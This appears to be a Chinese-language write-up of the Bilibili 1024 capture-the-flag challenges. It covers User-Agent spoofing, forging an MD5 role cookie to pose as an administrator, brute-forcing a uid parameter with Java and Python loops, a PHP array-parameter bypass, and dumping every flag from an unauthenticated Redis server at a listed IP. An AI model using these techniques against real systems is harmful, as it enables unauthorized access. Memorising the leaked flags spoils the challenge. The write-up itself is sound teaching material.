第一题
“页面的背后是什么” 指网页源代码
Ctrl+U 查看网页源代码 看到向一个地方发送了get请求
发送一个请求,或者直接找找flag1相关的东西就能找到
第二题
"真正的秘密只有特殊的设备才能看到"指需要使用bilibili Security Browser浏览器访问
使用抓包工具抓包
把浏览器(UA)伪造成"bilibili Security Browser"
需要注意的是如果是Postman需要添加Cookie
第三题
“密码是啥”
密码是啥可以 自己试,此外,用网上给的弱口令词典是没有前途的~
第四题
"对不起,权限不足~"指你的身份不对
MD5
伪装成 超级管理员
猜测角色名字,首字母大写
第五题
Ctrl+U 查看网页源代码,看看它想要干什么
注意里面有个神奇的uid
暴力遍历要从合适的位置开始
Java版本
for(int i=100336889;i<100999999;i++){
Request.Builder builder1 = new Request.Builder();
Request build1 = builder1.url("http://45.113.201.36/api/ctf/5?uid=" + i)
.header("Charset", "UTF-8")
.header("Connection", "Keep-Alive")
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Cookie", "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")
.get()
.build();
try{
JSONObject j=JSONObject.parseObject(new HttpClient().newCall(build1).execute().body().string());
//System.out.println(j);
if(j.getString("code").equals("200")){
System.out.println(j.getString("data"));
}else{
if(i%100==0){
System.out.println(i);
}
}
}catch (Exception e){
e.printStackTrace();
}
}
Python版本
for uid in range(100336889,99999999999):
params = (
('uid', uid),
)
response = requests.get('http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=False).json()
if response['code'] != '403':
print(response)
print(uid)
第六题
“结束亦是开始”
硬猜得到 /blog/end.php。
扫描
test.php
test.php的内容是jsfuck
执行
unicode 解码后是“程序员最多的地方”=>GitHub
搜索
https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
构造参数URL
结合前面题目的url猜测
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
这里跳转第十题
第七题
第六题中
第八题
第六题中
端口扫描
服务器开启了6379
端口,Redis的
默认端口
[root@iz2ze77]# redis-cli -h 120.92.151.189 -p 6379
120.92.151.189:6379> keys *
1) "flag4"
2) "flag6"
3) "flag7"
4) "flag9"
5) "flag8"
6) "flag1"
7) "flag2"
8) "flag3"
9) "flag5"
10) "flag10"
120.92.151.189:6379> get flag1
"3b96173a-b3df4cdd-22d4c15f-261e7309"
120.92.151.189:6379> get flag2
"bd871042-1e09a130-3ddd4faa-cebdb048"
120.92.151.189:6379> get flag3
"c7f7a7c2-28b7f895-5432152b-6410e042"
120.92.151.189:6379> get flag4
"d338e3c8-93215105-258d79ba-b364e59c"
120.92.151.189:6379> get flag5
"612d1886-044898af-6c1e9dba-b58ad075"
120.92.151.189:6379> get flag6
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
120.92.151.189:6379> get flag7
"b78ce2aa-10d03327-f2035f4e-55c17689"
120.92.151.189:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"
120.92.151.189:6379> get flag9
"b3238659-b81512e6-3a307c74-9877ecc5"
120.92.151.189:6379> get flag10
"e5653416-595b3d0c-4c2a57ee-c026350e"
因为扫描的原因,服务器很卡,容易掉线。
[root@iz2zeihez ~]# redis-cli -h 120.92.151.189 -p 6379 Could not connect to Redis at 120.92.151.189:6379: Connection refused not connected> exit [root@iz2zeihez ~]#
第九题
第六题中
第十题
第六题中
http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt
下载
二进制编辑器打开